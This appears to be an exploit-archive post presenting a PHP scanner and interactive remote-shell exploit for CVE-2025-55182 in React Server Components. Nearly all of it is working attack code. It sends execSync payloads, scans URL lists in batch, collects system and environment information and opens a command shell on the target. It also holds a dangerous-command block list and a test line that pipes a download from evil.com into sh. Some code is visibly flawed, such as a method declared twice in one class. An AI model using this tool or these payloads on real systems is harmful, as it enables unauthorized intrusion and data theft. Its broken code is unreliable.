=============================================================================================================================================
| # Title     : React 19.2.0 PHP Scanner & RCE Exploit Tool                                                                                 |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
| # Vendor    : https://react.dev                                                                                                           |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/212444/ &	CVE-2025-55182

[+] Summary : This project delivers a PHP-based vulnerability scanner and remote code execution (RCE) exploit for CVE‑2025‑55182 affecting React Server Components.

[+] includes:

Target scanning (single/multiple hosts)

Vulnerability detection

RCE payload execution

Interactive remote shell

Structured JSON parsing with fallback

Multipart form-data payload handling

The exploit leverages RSC serialization weaknesses to execute arbitrary commands and validate successful exploitation.

[+]  POC : 

<?php
/**
 * by indoushka
 */

class CVE_2025_55182_Scanner_Secure {
    // ANSI Color Codes with Windows fallback
    private $colors = [];
    
    private $user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36';
    private $timeout = 10;
    private $verify_ssl = false;
    private $max_cmd_length = 200; // Maximum command length for safety
    
    public function __construct() {
        // Initialize colors based on OS
        $this->init_colors();
        
        // Suppress SSL warnings
        if (function_exists('stream_context_set_default')) {
            stream_context_set_default([
                'ssl' => [
                    'verify_peer' => false,
                    'verify_peer_name' => false,
                ]
            ]);
        }
    }
    
    private function init_colors() {
        // Check if we're on Windows CMD without ANSI support
        $is_windows = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
        $has_ansi_support = false;
        
        if ($is_windows && PHP_SAPI === 'cli') {
            // Try to detect ANSI support in Windows 10+
            $has_ansi_support = (function_exists('sapi_windows_vt100_support') && sapi_windows_vt100_support(STDOUT))
                || getenv('ANSICON') !== false
                || getenv('ConEmuANSI') === 'ON'
                || getenv('TERM') === 'xterm';
        } elseif (!$is_windows) {
            $has_ansi_support = true; // Unix-like systems usually support ANSI
        }
        
        if ($has_ansi_support) {
            $this->colors = [
                'HEADER' => "\033[95m",
                'BLUE' => "\033[94m",
                'GREEN' => "\033[92m",
                'WARNING' => "\033[93m",
                'FAIL' => "\033[91m",
                'ENDC' => "\033[0m",
                'BOLD' => "\033[1m",
                'CYAN' => "\033[96m",
                'MAGENTA' => "\033[95m",
                'BG_RED' => "\033[41m"
            ];
        } else {
            // No colors for unsupported terminals
            $this->colors = array_fill_keys([
                'HEADER', 'BLUE', 'GREEN', 'WARNING', 'FAIL', 
                'ENDC', 'BOLD', 'CYAN', 'MAGENTA', 'BG_RED'
            ], '');
        }
    }
    
    private function color($name) {
        return $this->colors[$name] ?? '';
    }
    
    private function print_info($msg) {
        echo $this->color('BLUE') . "[*] " . $msg . $this->color('ENDC') . PHP_EOL;
    }
    
    private function print_success($msg) {
        echo $this->color('GREEN') . "[+] " . $msg . $this->color('ENDC') . PHP_EOL;
    }
    
    private function print_error($msg) {
        echo $this->color('FAIL') . "[-] " . $msg . $this->color('ENDC') . PHP_EOL;
    }
    
    private function print_warning($msg) {
        echo $this->color('WARNING') . "[!] " . $msg . $this->color('ENDC') . PHP_EOL;
    }
    
    private function print_critical($msg) {
        echo $this->color('BG_RED') . $this->color('BOLD') . "[CRITICAL] " . $msg . $this->color('ENDC') . PHP_EOL;
    }
    
    private function validate_command($cmd) {
        // Check command length
        if (strlen($cmd) > $this->max_cmd_length) {
            $this->print_error("Command too long (max {$this->max_cmd_length} characters)");
            return false;
        }
        
        // Block potentially dangerous commands in interactive mode
        $dangerous_patterns = [
            '/\brm\s+-rf\b/i',
            '/\bmkfs\b/i',
            '/\bdd\s+if=/i',
            '/\bchmod\s+777\b/i',
            '/\bwget\b.*\|\s*sh/i',
            '/\bcurl\b.*\|\s*sh/i',
            '/;.*;/', // Multiple command separators
            '/`.*`/', // Backticks
            '/\$\s*\(/', // $() syntax
            '/\|\s*\{/', // Pipe to block
        ];
        
        foreach ($dangerous_patterns as $pattern) {
            if (preg_match($pattern, $cmd)) {
                $this->print_warning("Potentially dangerous command detected and blocked");
                return false;
            }
        }
        
        return true;
    }
    
    private function sanitize_command($cmd) {
        // Basic sanitization for different command types
        $cmd = trim($cmd);
        
        // Handle echo commands specially - remove quotes if present
        if (preg_match('/^echo\s+/i', $cmd)) {
            // Extract the part after echo
            $echo_content = substr($cmd, 5);
            $echo_content = trim($echo_content, " \t\n\r\0\x0B\"'");
            
            // Only allow safe characters for echo
            $echo_content = preg_replace('/[^\w\d\s\-_\.]/', '', $echo_content);
            
            return 'echo ' . $echo_content;
        }
        
        // For other commands, allow more characters but still sanitize
        $cmd = preg_replace('/[^\w\d\s\-_\.\/\\\,:;&|><=\[\]{}()@#!~`\$\+\-\*"\'?]/', '', $cmd);
        
        // Limit consecutive special characters
        $cmd = preg_replace('/([;&|])\1+/', '$1', $cmd);
        
        return $cmd;
    }
    
    private function build_payload($cmd) {
        // Multiple payload variations for different environments
        $payloads = [
            // Primary payload - standard Node.js RCE
            [
                "id" => "vm#runInThisContext",
                "bound" => ["console.log('RCE_TEST'); process.mainModule.require('child_process').execSync('{$cmd}').toString()"]
            ],
            
            // Alternative payload 1 - Different context
            [
                "id" => "vm#runInNewContext",
                "bound" => ["global.process.mainModule.require('child_process').execSync('{$cmd}').toString()"]
            ],
            
            // Alternative payload 2 - Using module constructor
            [
                "id" => "module#constructor",
                "bound" => ["new module.constructor('return process')().mainModule.require('child_process').execSync('{$cmd}').toString()"]
            ],
            
            // Alternative payload 3 - Direct require
            [
                "id" => "global#require",
                "bound" => ["global.require('child_process').execSync('{$cmd}').toString()"]
            ]
        ];
        
        // Return the primary payload (can be modified to try all)
        return json_encode($payloads[0]);
    }
    
    private function send_payload($url, $cmd, $payload_variant = 0) {
        // Validate command first
        if (!$this->validate_command($cmd)) {
            return [
                'content' => null,
                'headers' => [],
                'status' => 0,
                'success' => false,
                'error' => 'Command validation failed'
            ];
        }
        
        // Sanitize command
        $safe_cmd = $this->sanitize_command($cmd);
        
        // Build payload based on variant
        $payload = $this->build_payload($safe_cmd);
        
        // Prepare multipart form data
        $boundary = '----WebKitFormBoundary' . bin2hex(random_bytes(16));
        $content = "--{$boundary}\r\n";
        $content .= "Content-Disposition: form-data; name=\"\$ACTION_REF_0\"\r\n\r\n1\r\n";
        $content .= "--{$boundary}\r\n";
        $content .= "Content-Disposition: form-data; name=\"\$ACTION_0:0\"\r\n\r\n";
        $content .= $payload . "\r\n";
        $content .= "--{$boundary}--\r\n";
        
        $headers = [
            "Content-Type: multipart/form-data; boundary={$boundary}",
            "User-Agent: {$this->user_agent}",
            "Accept: */*",
            "Connection: close",
            "X-Requested-With: XMLHttpRequest",
            "Origin: " . parse_url($url, PHP_URL_SCHEME) . "://" . parse_url($url, PHP_URL_HOST)
        ];
        
        $context = stream_context_create([
            'http' => [
                'method' => 'POST',
                'header' => implode("\r\n", $headers),
                'content' => $content,
                'timeout' => $this->timeout,
                'ignore_errors' => true
            ],
            'ssl' => [
                'verify_peer' => $this->verify_ssl,
                'verify_peer_name' => $this->verify_ssl
            ]
        ]);
        
        try {
            $start_time = microtime(true);
            $response = @file_get_contents($url, false, $context);
            $response_time = round((microtime(true) - $start_time) * 1000, 2);
            
            $http_response_header = $http_response_header ?? [];
            
            return [
                'content' => $response,
                'headers' => $http_response_header,
                'status' => $this->get_http_status($http_response_header),
                'success' => $response !== false,
                'response_time' => $response_time,
                'payload_variant' => $payload_variant,
                'error' => $response === false ? error_get_last()['message'] ?? 'Unknown error' : null
            ];
        } catch (Exception $e) {
            $this->print_error("Connection error: " . $e->getMessage());
            return [
                'content' => null,
                'headers' => [],
                'status' => 0,
                'success' => false,
                'response_time' => 0,
                'error' => $e->getMessage()
            ];
        }
    }
    
    private function get_http_status($headers) {
        if (empty($headers)) return 0;
        
        $status_line = $headers[0];
        preg_match('/HTTP\/\d\.\d\s+(\d+)/', $status_line, $matches);
        
        return isset($matches[1]) ? (int)$matches[1] : 0;
    }
    
    private function generate_token($length = 16) {
        $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
        $token = '';
        
        for ($i = 0; $i < $length; $i++) {
            $token .= $chars[random_int(0, strlen($chars) - 1)];
        }
        
        return $token;
    }
    
    private function extract_result_from_response($content, $token = null) {
        $result = [
            'type' => 'unknown',
            'result' => null,
            'error' => null,
            'token_found' => false,
            'json_valid' => false,
            'raw_preview' => substr($content, 0, 200) . (strlen($content) > 200 ? '...' : '')
        ];
        
        // Method 1: Try JSON parsing first
        if (!empty($content)) {
            $json_data = @json_decode($content, true);
            
            if (json_last_error() === JSON_ERROR_NONE) {
                $result['json_valid'] = true;
                $result['type'] = 'json';
                $result['full_json'] = $json_data;
                
                if (isset($json_data['result'])) {
                    $result['result'] = $json_data['result'];
                }
                if (isset($json_data['error'])) {
                    $result['error'] = $json_data['error'];
                }
                if (isset($json_data['message'])) {
                    $result['error'] = $json_data['message'];
                }
            }
        }
        
        // Method 2: Look for token in raw response
        if ($token !== null && !empty($content)) {
            if (strpos($content, $token) !== false) {
                $result['token_found'] = true;
                $result['type'] = $result['type'] === 'unknown' ? 'raw' : $result['type'];
                
                // Extract context around token
                $pos = strpos($content, $token);
                $start = max(0, $pos - 100);
                $end = min(strlen($content), $pos + 100);
                $context = substr($content, $start, $end - $start);
                
                if (empty($result['result'])) {
                    $result['result'] = $context;
                }
            }
        }
        
        // Method 3: Try to extract from common patterns
        if (empty($result['result']) && !empty($content)) {
            $patterns = [
                '/result["\']?\s*:\s*["\']?([^"\',}]+)/i',
                '/output["\']?\s*:\s*["\']?([^"\',}]+)/i',
                '/data["\']?\s*:\s*["\']?([^"\',}]+)/i',
                '/<pre[^>]*>([^<]+)<\/pre>/i',
                '/<code[^>]*>([^<]+)<\/code>/i'
            ];
            
            foreach ($patterns as $pattern) {
                if (preg_match($pattern, $content, $matches)) {
                    $result['result'] = trim($matches[1]);
                    $result['type'] = 'pattern';
                    break;
                }
            }
        }
        
        return $result;
    }
    
    public function scan($url, $detailed = false) {
        $this->print_info("Scanning {$url} for CVE-2025-55182...");
        
        $token = $this->generate_token(16);
        $cmd = "echo " . $token;  // No quotes needed for echo
        
        $response = $this->send_payload($url, $cmd);
        
        if (!$response['success'] || $response['content'] === null) {
            $this->print_error("Failed to connect to target.");
            $this->print_info("Error: " . ($response['error'] ?? 'Unknown'));
            $this->print_info("Response time: {$response['response_time']}ms");
            return false;
        }
        
        $content = $response['content'];
        $analysis = $this->extract_result_from_response($content, $token);
        
        if ($detailed) {
            $this->print_info("=== Detailed Analysis ===");
            $this->print_info("Response type: " . $analysis['type']);
            $this->print_info("HTTP Status: " . $response['status']);
            $this->print_info("Response time: {$response['response_time']}ms");
            $this->print_info("JSON valid: " . ($analysis['json_valid'] ? 'Yes' : 'No'));
            $this->print_info("Token found: " . ($analysis['token_found'] ? 'Yes' : 'No'));
            
            if ($analysis['error']) {
                $this->print_warning("Server error: " . $analysis['error']);
            }
        }
        
        // Check for vulnerability
        $is_vulnerable = false;
        $confidence = 'low';
        
        // High confidence: Token found in JSON result
        if ($analysis['type'] === 'json' && $analysis['result'] && strpos($analysis['result'], $token) !== false) {
            $is_vulnerable = true;
            $confidence = 'high';
            $this->print_success("HIGH CONFIDENCE: Token found in JSON result");
        }
        // Medium confidence: Token found in raw response
        elseif ($analysis['token_found']) {
            $is_vulnerable = true;
            $confidence = 'medium';
            $this->print_success("MEDIUM CONFIDENCE: Token found in raw response");
        }
        // Low confidence: Response looks like RCE output but no token
        elseif ($analysis['result'] && preg_match('/\b(root|admin|www-data|user)\b/i', $analysis['result'])) {
            $is_vulnerable = true;
            $confidence = 'low';
            $this->print_warning("LOW CONFIDENCE: RCE-like output detected");
        }
        
        if ($is_vulnerable) {
            $this->print_success("Target appears to be VULNERABLE (confidence: {$confidence})!");
            
            if ($analysis['result']) {
                $output = trim($analysis['result']);
                $output_preview = strlen($output) > 100 ? substr($output, 0, 100) . '...' : $output;
                $this->print_info("Output preview: " . $output_preview);
            }
            
            // Try to get more info if detailed scan
            if ($detailed) {
                $this->print_info("Gathering system information...");
                $info_cmds = [
                    'whoami' => 'Current user',
                    'uname -a || ver' => 'System info',
                    'pwd' => 'Current directory',
                    'id || whoami /all' => 'User details'
                ];
                
                foreach ($info_cmds as $cmd => $desc) {
                    $resp = $this->send_payload($url, $cmd);
                    if ($resp['success'] && $resp['content']) {
                        $info = $this->extract_result_from_response($resp['content']);
                        if ($info['result']) {
                            $clean_result = trim(preg_replace('/\s+/', ' ', $info['result']));
                            $this->print_info("{$desc}: " . substr($clean_result, 0, 80));
                        }
                    }
                    usleep(50000); // 50ms delay
                }
            }
            
            return ['vulnerable' => true, 'confidence' => $confidence];
        } else {
            $this->print_warning("Target does not appear to be vulnerable.");
            if ($detailed) {
                $this->print_info("Response preview: " . $analysis['raw_preview']);
            }
            return ['vulnerable' => false, 'confidence' => 'none'];
        }
    }
    
    public function exploit($url) {
        $this->print_critical("=== EXPLOIT MODE ACTIVATED ===");
        $this->print_warning("You are about to exploit a vulnerable system.");
        $this->print_warning("Make sure you have proper authorization!");
        
        // Initial scan with details
        $scan_result = $this->scan($url, true);
        
        if (!$scan_result['vulnerable']) {
            $this->print_error("Target is not vulnerable or confidence is too low.");
            $this->print_info("Would you like to proceed anyway? (yes/no): ");
            $response = trim(fgets(STDIN));
            
            if (strtolower($response) !== 'yes') {
                $this->print_info("Exploit cancelled.");
                return;
            }
            
            $this->print_warning("Proceeding with low-confidence target...");
        }
        
        $this->print_success("Starting interactive shell on {$url}");
        $this->print_info("Type 'help' for available commands, 'exit' to quit.");
        
        // Get initial system info
        $sysinfo = $this->get_system_info($url);
        $user = $sysinfo['user'] ?? 'unknown';
        $hostname = $sysinfo['hostname'] ?? 'unknown';
        $platform = $sysinfo['platform'] ?? 'unknown';
        
        // Interactive shell loop
        $command_history = [];
        while (true) {
            // Build prompt with colors
            $prompt = $this->color('GREEN') . $user . "@" . $hostname . $this->color('ENDC') . 
                     " [" . $this->color('CYAN') . $platform . $this->color('ENDC') . "] " .
                     $this->color('BLUE') . $this->color('BOLD') . "> " . $this->color('ENDC');
            
            echo $prompt;
            
            // Get command input
            if (function_exists('readline')) {
                readline_completion_function(function($input, $index) {
                    $commands = ['help', 'exit', 'clear', 'sysinfo', 'history', 'pwd', 'ls', 'cd', 'cat', 'whoami', 'id'];
                    return array_filter($commands, function($cmd) use ($input) {
                        return stripos($cmd, $input) === 0;
                    });
                });
                
                $cmd = readline();
                if ($cmd !== '') {
                    readline_add_history($cmd);
                    $command_history[] = $cmd;
                }
            } else {
                $cmd = trim(fgets(STDIN));
                if (!empty($cmd)) {
                    $command_history[] = $cmd;
                }
            }
            
            // Handle exit
            if (strtolower($cmd) === 'exit' || strtolower($cmd) === 'quit') {
                $this->print_info("Exiting interactive shell...");
                break;
            }
            
            // Handle empty command
            if (empty($cmd)) {
                continue;
            }
            
            // Handle special commands
            switch (strtolower($cmd)) {
                case 'help':
                    $this->show_help();
                    continue 2;
                    
                case 'clear':
                case 'cls':
                    system(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN' ? 'cls' : 'clear');
                    continue 2;
                    
                case 'history':
                    $this->show_history($command_history);
                    continue 2;
                    
                case 'sysinfo':
                    $this->show_sysinfo($url);
                    continue 2;
                    
                case 'safe':
                    $this->print_info("Safe mode enabled - blocking dangerous commands");
                    $this->print_info("Current restrictions: rm, mkfs, dd, chmod 777, wget|sh, curl|sh");
                    continue 2;
            }
            
            // Validate command length
            if (strlen($cmd) > $this->max_cmd_length) {
                $this->print_error("Command too long (max {$this->max_cmd_length} characters)");
                $this->print_info("Tip: Use redirects or split complex commands");
                continue;
            }
            
            // Execute command
            $start_time = microtime(true);
            $response = $this->send_payload($url, $cmd);
            $exec_time = round((microtime(true) - $start_time) * 1000, 2);
            
            if ($response['success'] && $response['content']) {
                $analysis = $this->extract_result_from_response($response['content']);
                
                if ($analysis['result']) {
                    echo trim($analysis['result']) . PHP_EOL;
                    $this->print_info("Execution time: {$exec_time}ms | HTTP: {$response['status']}");
                } elseif ($analysis['error']) {
                    $this->print_error("Server error: " . $analysis['error']);
                } else {
                    $this->print_warning("Command executed but no output returned.");
                    $this->print_info("Response type: " . $analysis['type']);
                }
            } else {
                $this->print_error("Command failed or no response.");
                $this->print_info("Status: {$response['status']} | Time: {$response['response_time']}ms");
                if ($response['error']) {
                    $this->print_info("Error: " . $response['error']);
                }
            }
            
            // Small delay to avoid overwhelming the target
            usleep(100000); // 100ms
        }
        
        $this->print_info("Session ended. Total commands executed: " . count($command_history));
    }
    
    private function get_system_info($url) {
        $info = [
            'user' => 'unknown',
            'hostname' => 'unknown',
            'platform' => 'unknown'
        ];
        
        // Try multiple commands to get info
        $commands = [
            'whoami' => 'user',
            'hostname || hostname' => 'hostname',
            'uname -s -r -m || ver || systeminfo | findstr /B /C:"OS"' => 'platform'
        ];
        
        foreach ($commands as $cmd => $key) {
            $resp = $this->send_payload($url, $cmd);
            if ($resp['success'] && $resp['content']) {
                $analysis = $this->extract_result_from_response($resp['content']);
                if ($analysis['result']) {
                    $info[$key] = trim($analysis['result']);
                }
            }
            usleep(50000); // 50ms delay
        }
        
        return $info;
    }
    
    private function show_help() {
        $help = [
            'Basic Commands:' => [
                'help' => 'Show this help message',
                'exit, quit' => 'Exit the interactive shell',
                'clear, cls' => 'Clear the terminal screen',
                'history' => 'Show command history',
                'sysinfo' => 'Display detailed system information',
                'safe' => 'Show safe mode restrictions'
            ],
            'File Operations:' => [
                'pwd' => 'Print working directory',
                'ls, ls -la, dir' => 'List directory contents',
                'cat <file>' => 'View file contents',
                'cd <dir>' => 'Change directory (note: may not persist)'
            ],
            'System Info:' => [
                'whoami' => 'Current user',
                'id' => 'User ID and groups',
                'uname -a' => 'System information',
                'ps aux' => 'Running processes',
                'netstat -an' => 'Network connections'
            ],
            'Tips:' => [
                'Command chaining' => 'Use && for sequential commands',
                'Output redirection' => 'Use > to save output to file',
                'Pipes' => 'Use | to chain commands',
                'Background jobs' => 'Use & to run in background'
            ]
        ];
        
        foreach ($help as $section => $commands) {
            $this->print_info("\n{$section}");
            foreach ($commands as $cmd => $desc) {
                echo "  " . str_pad($cmd, 25) . " - " . $desc . PHP_EOL;
            }
        }
    }
    
    private function show_history($history) {
        if (empty($history)) {
            $this->print_info("No command history yet.");
            return;
        }
        
        $this->print_info("Command History:");
        foreach ($history as $index => $cmd) {
            echo "  [" . ($index + 1) . "] " . $cmd . PHP_EOL;
        }
    }
    
    private function show_sysinfo($url) {
        $this->print_info("Gathering detailed system information...");
        
        $checks = [
            'System' => 'uname -a || ver',
            'Kernel' => 'cat /proc/version 2>/dev/null || systeminfo | findstr /B /C:"OS"',
            'CPU' => 'cat /proc/cpuinfo 2>/dev/null || wmic cpu get name',
            'Memory' => 'free -h 2>/dev/null || wmic memorychip get capacity',
            'Disk' => 'df -h 2>/dev/null || wmic logicaldisk get size,freespace,caption',
            'Network' => 'ifconfig 2>/dev/null || ipconfig /all',
            'Users' => 'who 2>/dev/null || query user',
            'Processes' => 'ps aux | head -20 2>/dev/null || tasklist',
            'Environment' => 'env 2>/dev/null || set',
            'Packages' => 'dpkg -l 2>/dev/null || rpm -qa 2>/dev/null || pacman -Q'
        ];
        
        foreach ($checks as $name => $cmd) {
            $resp = $this->send_payload($url, $cmd);
            if ($resp['success'] && $resp['content']) {
                $analysis = $this->extract_result_from_response($resp['content']);
                if ($analysis['result']) {
                    $output = trim($analysis['result']);
                    $preview = substr($output, 0, 100);
                    $this->print_info("{$name}: " . $preview . (strlen($output) > 100 ? '...' : ''));
                }
            }
            usleep(100000); // 100ms delay
        }
    }
    
    public function batch_scan($file_path, $output_report = true) {
        if (!file_exists($file_path)) {
            $this->print_error("File not found: {$file_path}");
            return;
        }
        
        $urls = file($file_path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        
        if (!$urls) {
            $this->print_error("No URLs found in file.");
            return;
        }
        
        $this->print_info("Loaded " . count($urls) . " URLs from {$file_path}");
        $this->print_warning("Batch scan starting. This may take a while...");
        
        $results = [
            'high_confidence' => [],
            'medium_confidence' => [],
            'low_confidence' => [],
            'not_vulnerable' => [],
            'errors' => []
        ];
        
        $start_time = time();
        
        foreach ($urls as $index => $url) {
            $url = trim($url);
            if (empty($url)) continue;
            
            $current = $index + 1;
            $total = count($urls);
            $percent = round(($current / $total) * 100, 1);
            $elapsed = time() - $start_time;
            $eta = $total > 0 ? round(($elapsed / $current) * ($total - $current)) : 0;
            
            $this->print_info("Scanning [{$current}/{$total}] ({$percent}%) ETA: {$eta}s - {$url}");
            
            try {
                $result = $this->scan($url, false);
                
                if ($result['vulnerable']) {
                    switch ($result['confidence']) {
                        case 'high':
                            $results['high_confidence'][] = $url;
                            break;
                        case 'medium':
                            $results['medium_confidence'][] = $url;
                            break;
                        case 'low':
                            $results['low_confidence'][] = $url;
                            break;
                    }
                } else {
                    $results['not_vulnerable'][] = $url;
                }
            } catch (Exception $e) {
                $results['errors'][] = $url . " - " . $e->getMessage();
            }
            
            // Progress delay
            usleep(300000); // 300ms
        }
        
        // Generate report
        $this->print_info("\n" . str_repeat("=", 60));
        $this->print_info("BATCH SCAN COMPLETE");
        $this->print_info("Total time: " . (time() - $start_time) . " seconds");
        $this->print_info(str_repeat("-", 60));
        
        $categories = [
            'high_confidence' => ['High Confidence Vulnerable', $this->color('GREEN')],
            'medium_confidence' => ['Medium Confidence Vulnerable', $this->color('WARNING')],
            'low_confidence' => ['Low Confidence Vulnerable', $this->color('CYAN')],
            'not_vulnerable' => ['Not Vulnerable', $this->color('FAIL')],
            'errors' => ['Errors', $this->color('FAIL')]
        ];
        
        foreach ($categories as $key => [$label, $color]) {
            $count = count($results[$key]);
            echo $color . "[*] " . str_pad($label, 30) . ": " . $count . $this->color('ENDC') . PHP_EOL;
        }
        
        // Save report if requested
        if ($output_report) {
            $report_file = 'cve_scan_report_' . date('Y-m-d_H-i-s') . '.txt';
            $report_content = "CVE-2025-55182 Scan Report\n";
            $report_content .= "Generated: " . date('Y-m-d H:i:s') . "\n";
            $report_content .= "Total URLs: " . count($urls) . "\n\n";
            
            foreach ($categories as $key => [$label, $color]) {
                $report_content .= "\n=== {$label} ===\n";
                foreach ($results[$key] as $item) {
                    $report_content .= $item . "\n";
                }
            }
            
            file_put_contents($report_file, $report_content);
            $this->print_success("Detailed report saved to: {$report_file}");
        }
        
        return $results;
    }
    
    private function print_banner() {
        $banner = $this->color('HEADER') . $this->color('BOLD') . "
    ╔══════════════════════════════════════════════════════════╗
    ║   CVE-2025-55182 Scanner & Exploit Tool                  ║
    ║   React Server Components RCE Vulnerability              ║
    ╚══════════════════════════════════════════════════════════╝" . $this->color('ENDC') . "
    
    " . $this->color('CYAN') . "[*] Features:" . $this->color('ENDC') . "
    • Multi-payload support for different environments
    • Command validation and sanitization
    • Confidence-based vulnerability detection
    • Interactive shell with command history
    • Batch scanning with detailed reporting
    • Safe mode to prevent dangerous commands
    
    " . $this->color('WARNING') . "[!] SECURITY WARNING:" . $this->color('ENDC') . "
    • This tool is for AUTHORIZED security testing ONLY
    • Unauthorized use is ILLEGAL and UNETHICAL
    • Use only on systems you OWN or have PERMISSION to test
    
    " . $this->color('FAIL') . $this->color('BOLD') . "[!] LEGAL NOTICE: You are responsible for your actions!" . $this->color('ENDC') . "
    ";
        
        echo $banner . PHP_EOL;
    }
    
    public function run() {
        $this->print_banner();
        
        if (PHP_SAPI !== 'cli') {
            $this->print_error("This tool must be run from command line.");
            echo "For web interface, use the separate web version." . PHP_EOL;
            exit(1);
        }
        
        global $argv;
        
        if (count($argv) < 2) {
            $this->show_help();
            exit(1);
        }
        
        $mode = $argv[1];
        
        switch ($mode) {
            case 'scan':
                if (isset($argv[2]) && $argv[2] === '-u' && isset($argv[3])) {
                    $this->scan($argv[3], true);
                } elseif (isset($argv[2]) && $argv[2] === '-f' && isset($argv[3])) {
                    $this->batch_scan($argv[3]);
                } else {
                    $this->show_help();
                }
                break;
                
            case 'exploit':
                if (isset($argv[2]) && $argv[2] === '-u' && isset($argv[3])) {
                    $this->exploit($argv[3]);
                } else {
                    $this->show_help();
                }
                break;
                
            case 'test':
                $this->test_mode();
                break;
                
            case 'help':
            case '--help':
            case '-h':
                $this->show_help();
                break;
                
            default:
                $this->print_error("Unknown mode: {$mode}");
                $this->show_help();
                exit(1);
        }
    }
    
    private function test_mode() {
        $this->print_info("Running comprehensive self-test...");
        
        // Test token generation
        $token = $this->generate_token(10);
        $this->print_success("Token generation: OK ({$token})");
        
        // Test command validation
        $test_cmds = [
            'echo test' => true,
            'whoami' => true,
            'ls -la' => true,
            str_repeat('a', 201) => false, // Too long
            'rm -rf /' => false, // Dangerous
            'wget http://evil.com | sh' => false // Dangerous pattern
        ];
        
        foreach ($test_cmds as $cmd => $expected) {
            $result = $this->validate_command($cmd);
            $status = $result === $expected ? 'OK' : 'FAIL';
            $color = $result === $expected ? 'GREEN' : 'FAIL';
            echo $this->color($color) . "[TEST] Command validation '{$cmd}': {$status}" . $this->color('ENDC') . PHP_EOL;
        }
        
        // Test payload building
        $payload = $this->build_payload('test');
        $json_test = json_decode($payload, true);
        $this->print_success("Payload building: " . (json_last_error() === JSON_ERROR_NONE ? 'OK' : 'FAIL'));
        
        // Test required functions
        $required = ['json_encode', 'file_get_contents', 'random_bytes', 'preg_match'];
        $all_ok = true;
        
        foreach ($required as $func) {
            if (!function_exists($func)) {
                $this->print_error("Missing function: {$func}");
                $all_ok = false;
            }
        }
        
        if ($all_ok) {
            $this->print_success("All required functions available");
        }
        
        $this->print_info("Self-test completed.");
    }
    
    private function show_help() {
        echo $this->color('BOLD') . "CVE-2025-55182 Enhanced Scanner & Exploit Tool" . $this->color('ENDC') . PHP_EOL;
        echo $this->color('CYAN') . "Version: 2.0 | Enhanced Security Edition" . $this->color('ENDC') . PHP_EOL . PHP_EOL;
        
        echo "Usage:" . PHP_EOL;
        echo "  php " . basename(__FILE__) . " [mode] [options]" . PHP_EOL . PHP_EOL;
        
        echo "Modes:" . PHP_EOL;
        echo "  scan     - Check target vulnerability (detailed analysis)" . PHP_EOL;
        echo "  exploit  - Interactive exploit shell (requires vulnerable target)" . PHP_EOL;
        echo "  test     - Run self-test to verify functionality" . PHP_EOL;
        echo "  help     - Show this help message" . PHP_EOL . PHP_EOL;
        
        echo "Scan Options:" . PHP_EOL;
        echo "  -u URL   - Single target URL (detailed scan)" . PHP_EOL;
        echo "  -f FILE  - File containing list of URLs (batch scan)" . PHP_EOL . PHP_EOL;
        
        echo "Exploit Options:" . PHP_EOL;
        echo "  -u URL   - Target URL to exploit (interactive shell)" . PHP_EOL . PHP_EOL;
        
        echo "Security Features:" . PHP_EOL;
        echo "  • Command length limitation (max 200 chars)" . PHP_EOL;
        echo "  • Dangerous command blocking" . PHP_EOL;
        echo "  • Confidence-based vulnerability detection" . PHP_EOL;
        echo "  • Safe mode for interactive shell" . PHP_EOL . PHP_EOL;
        
        echo "Examples:" . PHP_EOL;
        echo "  php " . basename(__FILE__) . " scan -u https://target.com/api" . PHP_EOL;
        echo "  php " . basename(__FILE__) . " scan -f targets.txt" . PHP_EOL;
        echo "  php " . basename(__FILE__) . " exploit -u https://target.com/api" . PHP_EOL;
        echo "  php " . basename(__FILE__) . " test" . PHP_EOL;
        
        echo $this->color('WARNING') . PHP_EOL . "[!] Legal Notice: For authorized testing only!" . $this->color('ENDC') . PHP_EOL;
        echo $this->color('FAIL') . "[!] By using this tool, you accept full responsibility for your actions." . $this->color('ENDC') . PHP_EOL;
    }
}

// Main execution
if (PHP_SAPI === 'cli' && isset($argv[0]) && basename($argv[0]) === basename(__FILE__)) {
    $scanner = new CVE_2025_55182_Scanner_Secure();
    $scanner->run();
}


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================